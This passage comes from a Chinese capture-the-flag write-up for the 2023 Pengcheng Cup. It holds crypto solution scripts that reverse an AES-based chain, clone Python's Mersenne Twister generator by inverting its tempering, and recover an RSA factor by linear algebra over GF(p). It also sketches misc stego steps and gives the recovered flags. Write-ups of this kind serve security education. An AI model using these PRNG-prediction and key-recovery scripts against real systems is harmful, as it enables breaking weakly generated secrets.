msg = b'I tell you this, for when my days have come to an end , you, shall be King.'+h
padding = bytes((16 - len(msg) % 16) * '&', encoding='utf-8')
msg += padding
msgs = [msg[ii:(ii+16)] for ii in range(0,len(msg),16)]

msgs.reverse()
IV = binascii.unhexlify('918096cfa3b76d6622914395c7e28eef')
def decry(key,IV,ms): 
    aes=AES.new(key,AES.MODE_ECB) 
    return strxor(aes.decrypt(IV),ms)
for ms in msgs:
    IV=decry(key,IV,ms)
print(IV)
#手动组装一下,改改小位置
#flag{4ff732dd-2b74-45fd-a3ea-e82b4c491e0e}

Share:

仔细观察可以发现这个就是简单的线性代数,我们只要把数学关系式列出来,然后通过随机数预测去还原X矩阵的状态,求逆之后乘起来就好。

import random
from Crypto.Util.number import *
from gmpy2 import next_prime, invert as inverse_mod
from math import lcm

def invert_right(m, l, val=''):
    length = 32
    mx = 0xffffffff
    if val == '':
        val = mx
    i, res = 0, 0
    while i * l < length:
        mask = (mx << (length - l) & mx) >> i * l
        tmp = m & mask
        m = m ^ tmp >> l & val
        res += tmp
        i += 1
    return res

def invert_left(m, l, val):
    length = 32
    mx = 0xffffffff
    i, res = 0, 0
    while i * l < length:
        mask = (mx >> (length - l) & mx) << i * l
        tmp = m & mask
        m ^= tmp << l & val
        res |= tmp
        i += 1
    return res

def invert_temper(m):
    m = invert_right(m, 18)
    m = invert_left(m, 15, 4022730752)
    m = invert_left(m, 7, 2636928640)
    m = invert_right(m, 11)
    return m

def clone_mt(record):
    state = [invert_temper(i) for i in record]
    gen = random.Random()
    gen.setstate((3, tuple(state + [0]), None))
    return gen

def qiege(n):
    te = []
    while n!=0:
        te.append(n%pow(2,32))
        n = n>>32
    return te

def hebing(n):
    tmp = 0
    for i in range(32):
        tmp += n[i]*pow(2,32*(i))
    return tmp

def getrandbits1024():
    num = []
    for _ in range(32):
        num += [g.getrandbits(32)]
    return (hebing(num))

X = [27322282703709511636610535806856853612612796524565963685352821215367702697670029638291472271242231649191714479260517868076984065989639273952206721225394449809512736309152963717666213669565294618889004878502587203292128915123582846437035618297859622373514552659661751919687138158714389205196365694996691846589 ,91805670014258342004112051538515158497977951249015335208828337677065661825541672701641011001509677094927054079355384880161339840664535548572711525978354947655159331190183669338379535914171636373271711777662899462412133698069202075760175522929409084089926367963132890460921167025666146228784502671381146711019 ,66920426958285786458658248767160362920977647430969423155679844462544037512659182174429654322739226216034435833627040279237803034255254749729584723025199164153117416758037930376665769001615518843769072788984118288795594844920830871790000441610452127329422157793240336858492947908675187651204641324347460068225 ,5635003138990118507194506070175086831788576611651929217926664518872856396687497543355452282932759792957815071333069987192436081970967301109108636547955400620912244311244917063515500624803643902206301188548901042409824866123277584384961209855675044800618682367677428510425729333590673520619706804051348640739,42911212495890251189243677773682023641022813626312578449123776026147091248993904833237700742589532896024024290404122897946672451644535270088285040557715419433742408043822628453894022912746599564701384030731888203683342200542550299021286164291609827209395613247858235556551967071480178477133096158123879827699,76393649631519338646914577444953093042692772742019473672660460181129677128343169843350211463697634615281051117955282687134957585026912161500321667521577171255986824727912674810018184784281896427202094684250866650111325600908495879530295097533881586073569958225485019114664641193908557023741440163457101525203 ,79331720524907914908041917436319036255433828287857696014126718015259444328868691897077115926451094233087906865422458137916362681754241848523015955481140065721679824678490152910531795497192050173146826300375546645932629884190392808650921115445830421927238985963684104496062702531620988113510613763043301631209 ,34982047515239854027766260430773762615551551624040650169394931537920509836795394460680530502277933252344187876902284046236616780767724165813414385632503982500888235012434695560644146038269348824756839799255778718600829638272259933042402900324341026396868817418250681063616205184019449176410323763562609906256 ,152419925215633402551037300484006425703951620959940334562270582763998688826301000834158083436618204487451531847804246279293440954881219913553470971941979760351736535195521294640333019382215259554425750740788262905693120027837778006639912907313405166887419201498400381605572044667968915799849914769886304855469 ,7879488845815070796446980042322339499701160196159748256186513316298957679171765636643576866967308539398870809808590995575054707633585889782359230149070757943670854204408729244422811261494912348733104477093541158692065916137178255072991528458124264991587844119002172895462900656781795781239777162351236329010 ,127514038284722450386599280575918286761060061225148526034466492640545892790142008459404252129894996614536417849770574953585543450549469396103606474736901175227788222676384874264401431651217507860669506781393523454290522077615631381023377385798837961138591946856445250933293025411868935836885350047926486897489 ,127514038284722450386599280575918286761060061225148526034466492640545892790142008459404252129894996614536417849770574953585543450549469396103606474736901175227788222676384874264401431651217507860669506781393523454290522077615631381023377385798837961138591946856445250933293025411868935836885350047926486897489,147348014782035263557672447461924770257688598176948741569841957313948631675235455168853571742962013610522674191595258437726941866803703946285611136667070559549648062172513441677274884328986422767953568184453855423313870118663236611714535321243624425127415452246621538957156768109051856015526921750034402814181 ,107396275167806069862891568873373042687841775147343147252292584080352003252925523814251826627764872245643578589633919368796490434000761591564932634968812847926559005905574630301932715978159346119216934096015784765061798867698507880003720720252714582289061793936959096457352973294797409716470781535683208662390 ,111553464316331929637928443274530253217732988900086332463018159619552721468104642096142476958790984335379754112570481423047457696400188847850295271972015619208861578167810076654492163584804626343101458265888573313262592215690879907819608901681957001286346406746245896172209892822686784252329450759497940157817 ,152943203796417374728939496393486026220901654584673108139041097288333960510566510856084351323729904924640199712274885275910827036984793221821982353991291820643933058458639690879406578278096815789977814737418245161029735350306516366692394206323956675431185964629143452067819609148096407834611672577927865412392,166939346435092804149361985966477026395490869535977170373479116381554623702088662590719710620315106535772321371981485114999353813392487182004380368980412304867141197881584179316802946420573712884869207029807032629508803275758495901655593573546020371363238621118513519707566850164838945538265367877703756561143 ,26423433781831557303965218555715659459964805457875828323769054957811368313465747671809917056868138188812894920739462390440860614780050790166810205409831687879766298929374237068956851330280802672993787657036328401560347701569533751904003924033296103431436132762238032533631035466975563403490612905290747500034 ,67047973882442026847054596043723251652019181826511387455752441275468608245799296406017022023236054643173589545621722148324431435563020855357273526765167504290556087855144498047600331414488129605467552541562176094510433084299150667280746009871632940612151871433089450237469253872190728223812058292760792048327,105924866908333941056520542136279835222849349889633638544229314020165638653054683617844504431167584527725854457445810982830025832114705779346552001573819055283000133195971409988231558773967828820675125138322725072735898886865540351014422681184954059397593545246946913932272750078695992276555307091275819914167 ]
T = []
tmp = []
for _ in range(20):
    tmp+=(qiege(X[_]))

g = clone_mt(tmp[:624])

for _ in range(20):
    T.append(getrandbits1024())
assert T[-1] == X[-1]

print(getrandbits1024())
#通过随机数预测,补齐X的矩阵

p=667548632459029899397299221540978856425474915828934339291333387574324630349258515018972045406265448494845331262999241448002076917383740651362641947814545076390796789402373579283727117618532504865966299599663825771187433223531022829811594806917984414530614469374596457149431218829297339079019894262229453357029
G = GF(p)
R = [48569244180151557205855904296808011040310995626104180491157243372509052545941856322458676083637192423759673249488348244220016168699221727901608142636001227515271570470832957720323162015971262916929310707561503164723954043820660896942792324593262461443662124187475159194385198887788939215142063719188348359051, 399560428917764748532974912549579755263000603891290776423346071350694440330590365031312031331274402458285677563081638572382883720599282186196046608483533823720739712120092762382758124206813101015928952314835833408960456083078746116580899849811889743359253318716527623535224217277574914341453477162101109304521, 544937610110319318485732752819003299421900030583201619755186005418563198983178922830516722630658659738570688423587906326520697827239870483140381321035311084086872965680985895264808839131965351704781276541438910273061170401708989341983455583148675268945159916067944049744805262336310315984482684477033006734287, 216744037211012509915361607447276981890614637104708083303422302996997658600655325492799426696396129495740380030328486134561677905050895542824084902986133831827678164847190414920208201189028697970734101241668427915881431218718486605095651504942024880541330783245275847421981881418579001271393784051391703426641, 358625812085590413825860316781088505612223852757468112073999439178735803245018313087878704846077887688463179850461438873261474235563220723161414348183847290126780153336526214025645436877174640254582752642464699350692290355463838062957644227630261763964930791440438099097640358707938365934460765509770713422802, 329857997030576972729986815876777011654061886138716155424533348668225264710995265453134377944058890193085147694227229106567976594481366856016163332702128728982600129466565167735283489379015199424332093096162272256722421083932784837620468049877168507039726118947169347011547142986416984741443370137649949904461, 521812627987763620197812504899506910796946504850708570349667428211492401785051233252744740254058319678959842396710646375803470815528610618211136953181796072686187773678649762524131730689630306575027480171902373722358678386430941181209464823845330723780859962168995759134414896419704465387883718956885830089204, 620605218346899770429088593442355698411635752845778736545505196875522232769153705673917137123151382118878693457232039690080398947092819660645917999264381455940649845030563994094759265923737413658758514560434230280086651591011706752452769554749328591613510563389443179182520711924593818729897121279090347342924, 534016646028730727016209888504911167747835078463480349483097394578844831015450227232096300754745773717118904569821782762146568167060585024245190142726454552015507956174745334336178848983708347742569471390328051491668238788357493167057460607669219247924675410096486695085439718252206048534436114032676610106347, 88871679849011995091477347542680893996957786653924621705917895209560005458566552006873467270402185918706978818367798743110976595300781848502254399030378598802075501163781912730014790884964070072432678736909128727529050058640555516131888412874572332236693843543870582425734398659970857777429709921292338764056, 77024841353020037736072564671223528105040202905964518913084686725674447555778849580882283151820241410917813178127609045792603404416216635536183501218256797138848233777386900397758052436048023588018973775841429672943588531118120531410941119451112420484244073744860360930771612798228353879418110447613074103121, 358131172545144245017725954943677533669555698100417873957892816178502113778385580423968891034087567143540060215845324391804373505677355257229040486254496477702089813554705646138200115877254745085768546159462550014224359419574896275660358462631189412166193397952134507043404147073495973377634175173793168251233, 595636882372433751112400377321820719222073583356736222414778628384644623278463447644996314505722523949309416112422725194730843858188224367723911893838329601709038981556011159397788345709995936511801237268248578658463705897357408752571102163768839107050797667376601808299838509114230891979045461260911946415320, 395153432543738329086362624068574193255148332584492341243454102818775521905404929692387305225461869410602734064349062513722129355095148212452014041134124275764033437990333449975234478218955405224252839531173866658663372361601107447751367104423527019655871175001744848253584734158351726745551407103825286804486, 511651161619212591638982125008326295422605195202233521320827338823708335474320214987121320809834264020752488400694820412703895872293388034242395958165882000777796549830919064001864919411540442573874044781198129468230793584507078981976925332170577699344654086418908951152825866266645119298895702972413286583958, 601919715680710925447421076338078877766683489886991843150153117466383328925764100913643134608445665513170565014760605822708267601346612031986281277217875335899155526135282569237278337539198315798958944970975021604720637053079350115793916435033122479416157536224071649845398032404766802667331247026412465230897, 234820987787318061334406237477763453845428872967687650137534289159784627741552971152526376041477941966693305257682995443922827379938186523574311761092208293391813942996139561570362972331975732091581332378414745250571717259039007898729580445364373819332663464831222506646891337600543033325723536694430603794811, 564564388847953966153849841262670748320376369154008357907963983929690302350574296789978591185246923974920161797995189321841257011791368992972604074119872162539552292552362460968499190796503841035750507639233595470833894116053816701560762298879109510469040808411623441894361241720213857716595525048872499260906, 190023992656957817692909813007060815279103259429273681430127196398700351704377473750794054807013341268132331757606642253453911294388801612173064841530999650755116853772677649649669913317951539550313189351839325961495963700012333982508285993230904890545000476087981313109451079110864357972818329854737276461934, 590597067702351181983043135203878889479903130263737024839941242154123057325926009112777887235038694551309864253859910817785607380293492455212053557033975616644911248422981687394189486917578693691299595122658518879946708562394161159104748320544408107959224087679644857953504156164164979544525935685064483284685, 158171468736013100218170873274656605219228738469715092751861925345310881653082508445746109167302799236685145510095499361526242392251594397820661050281094210672424887670015189702781308615421102937559185479455827148241690888934661637911906309379701856488858180027365752169466863585611322838180758159364570481257]

R = Matrix(G,R)
R = R.transpose()
def make(x):
    X = []
    for i in range(21):
        X.append(x^i)
    return X

x = [27322282703709511636610535806856853612612796524565963685352821215367702697670029638291472271242231649191714479260517868076984065989639273952206721225394449809512736309152963717666213669565294618889004878502587203292128915123582846437035618297859622373514552659661751919687138158714389205196365694996691846589, 91805670014258342004112051538515158497977951249015335208828337677065661825541672701641011001509677094927054079355384880161339840664535548572711525978354947655159331190183669338379535914171636373271711777662899462412133698069202075760175522929409084089926367963132890460921167025666146228784502671381146711019, 66920426958285786458658248767160362920977647430969423155679844462544037512659182174429654322739226216034435833627040279237803034255254749729584723025199164153117416758037930376665769001615518843769072788984118288795594844920830871790000441610452127329422157793240336858492947908675187651204641324347460068225, 5635003138990118507194506070175086831788576611651929217926664518872856396687497543355452282932759792957815071333069987192436081970967301109108636547955400620912244311244917063515500624803643902206301188548901042409824866123277584384961209855675044800618682367677428510425729333590673520619706804051348640739, 42911212495890251189243677773682023641022813626312578449123776026147091248993904833237700742589532896024024290404122897946672451644535270088285040557715419433742408043822628453894022912746599564701384030731888203683342200542550299021286164291609827209395613247858235556551967071480178477133096158123879827699, 76393649631519338646914577444953093042692772742019473672660460181129677128343169843350211463697634615281051117955282687134957585026912161500321667521577171255986824727912674810018184784281896427202094684250866650111325600908495879530295097533881586073569958225485019114664641193908557023741440163457101525203, 79331720524907914908041917436319036255433828287857696014126718015259444328868691897077115926451094233087906865422458137916362681754241848523015955481140065721679824678490152910531795497192050173146826300375546645932629884190392808650921115445830421927238985963684104496062702531620988113510613763043301631209, 34982047515239854027766260430773762615551551624040650169394931537920509836795394460680530502277933252344187876902284046236616780767724165813414385632503982500888235012434695560644146038269348824756839799255778718600829638272259933042402900324341026396868817418250681063616205184019449176410323763562609906256, 152419925215633402551037300484006425703951620959940334562270582763998688826301000834158083436618204487451531847804246279293440954881219913553470971941979760351736535195521294640333019382215259554425750740788262905693120027837778006639912907313405166887419201498400381605572044667968915799849914769886304855469, 7879488845815070796446980042322339499701160196159748256186513316298957679171765636643576866967308539398870809808590995575054707633585889782359230149070757943670854204408729244422811261494912348733104477093541158692065916137178255072991528458124264991587844119002172895462900656781795781239777162351236329010, 127514038284722450386599280575918286761060061225148526034466492640545892790142008459404252129894996614536417849770574953585543450549469396103606474736901175227788222676384874264401431651217507860669506781393523454290522077615631381023377385798837961138591946856445250933293025411868935836885350047926486897489, 73523397212562449962797322407800812476585158706372414597501601851658987192829920809491154804458216832212324494892234069944533082031068984251998442644045753330748501446440305199570609290581400456976816997103538669480916305434314437973807842397862244118575425198027445648296131215572682266387781847672276278105, 147348014782035263557672447461924770257688598176948741569841957313948631675235455168853571742962013610522674191595258437726941866803703946285611136667070559549648062172513441677274884328986422767953568184453855423313870118663236611714535321243624425127415452246621538957156768109051856015526921750034402814181, 107396275167806069862891568873373042687841775147343147252292584080352003252925523814251826627764872245643578589633919368796490434000761591564932634968812847926559005905574630301932715978159346119216934096015784765061798867698507880003720720252714582289061793936959096457352973294797409716470781535683208662390, 111553464316331929637928443274530253217732988900086332463018159619552721468104642096142476958790984335379754112570481423047457696400188847850295271972015619208861578167810076654492163584804626343101458265888573313262592215690879907819608901681957001286346406746245896172209892822686784252329450759497940157817, 152943203796417374728939496393486026220901654584673108139041097288333960510566510856084351323729904924640199712274885275910827036984793221821982353991291820643933058458639690879406578278096815789977814737418245161029735350306516366692394206323956675431185964629143452067819609148096407834611672577927865412392, 166939346435092804149361985966477026395490869535977170373479116381554623702088662590719710620315106535772321371981485114999353813392487182004380368980412304867141197881584179316802946420573712884869207029807032629508803275758495901655593573546020371363238621118513519707566850164838945538265367877703756561143, 26423433781831557303965218555715659459964805457875828323769054957811368313465747671809917056868138188812894920739462390440860614780050790166810205409831687879766298929374237068956851330280802672993787657036328401560347701569533751904003924033296103431436132762238032533631035466975563403490612905290747500034, 67047973882442026847054596043723251652019181826511387455752441275468608245799296406017022023236054643173589545621722148324431435563020855357273526765167504290556087855144498047600331414488129605467552541562176094510433084299150667280746009871632940612151871433089450237469253872190728223812058292760792048327, 105924866908333941056520542136279835222849349889633638544229314020165638653054683617844504431167584527725854457445810982830025832114705779346552001573819055283000133195971409988231558773967828820675125138322725072735898886865540351014422681184954059397593545246946913932272750078695992276555307091275819914167, 22827549191923182771489295711738278961861882520382713026567330278695323394935257991730321079754157090063352969061001902180325794883825872692652931785445692861461395156956235124264369455654332939694635497992858109543951936728702559248172903917628186351382458456283437757539314944836549691976645744141289561930]
X = []
for i in x:
    X.append(make(i))
X = Matrix(G,X)
X_inv = X.inverse()

T = X_inv*R
print(T[0])

(92422003757477651157474383100036998824887848419954840007147868223910074931859933956269885856128093345487882260496791272977844862352094356168399257688148495739541010758727078419554501190171624312463235528402998918943680454965800744650511720557056811235552334860437375771202122918781073950952368367594976459763)
#获得因子。

#part2:
leak = 158171468736013100218170873274656605219228738469715092751861925345310881653082508445746109167302799236685145510095499361526242392251594397820661050281094210672424887670015189702781308615421102937559185479455827148241690888934661637911906309379701856488858180027365752169466863585611322838180758159364570481257
p = 667548632459029899397299221540978856425474915828934339291333387574324630349258515018972045406265448494845331262999241448002076917383740651362641947814545076390796789402373579283727117618532504865966299599663825771187433223531022829811594806917984414530614469374596457149431218829297339079019894262229453357029   
c = 9658009093151541277762773618550582280013680172161026781649630205505443184765264518709081169475689440555639354980432557616120809346519461077355134139495745998317849357705381020225760061125236265304057301286196004542729553944161451832173970613915423841610378207266606500956362098150141825329354727367056070349148059780287916811442861961254066733726576151134458892613951223277692935141880749737598416235307087782001086096114978527447987308876878393763055893556123029990282534497668077854186604106027698257663251502775547705641708624619340185646943640576690633662704397191379303254341343433077302686466850600522990402912
N = 11790604055677230214731474049594783873473779547159534481643303694816346271798870343160061559787963631020684982858033776446193418629055210874285696446209220404060653230407249409973790191858423402504530660556839353260629987853933304089439885784684686555554108157760445567974629355878575105480273451284714281430590737346099023372211403461861104391534461524711472734572409128196536805998116015230502045333769525693468193385557827209520108839913096017750428926467123493650506193757937746017474062985480713594474378324234033232933140389879312722642144536418253323908290256009510135710208223393009237664704631175216240376891
q = 92422003757477651157474383100036998824887848419954840007147868223910074931859933956269885856128093345487882260496791272977844862352094356168399257688148495739541010758727078419554501190171624312463235528402998918943680454965800744650511720557056811235552334860437375771202122918781073950952368367594976459763
p = N//q
print(isPrime(q))

e = 65537
phi = (q-1)*(p-1)
d = inverse(e,phi)
m = pow(c,d,N)
print(long_to_bytes(m))
#b'flag{2f43430b-3c31-03ee-0a92-5b24826c015c}'

Misc

我的壁纸

打开winhex,拉到最末端直接看见一堆文件,默认就是zip打开

2023 鹏城杯 初赛 Writeup by X1cT34m-小绿草信息安全实验室

用snow.exe结合压缩包给的隐写密码snowday,得到一部分flag,

用Audacity打开flag.wav通过sstv得到第二部分flag,

第三部分找个多找几个带密码要求的LSB隐写试试就出来了。passwd_is_7hR@1nB0w$&8;

三部分的flag结合起来就是

flag{b921323f-eaa2-4d62-ace6-f86361842eb8}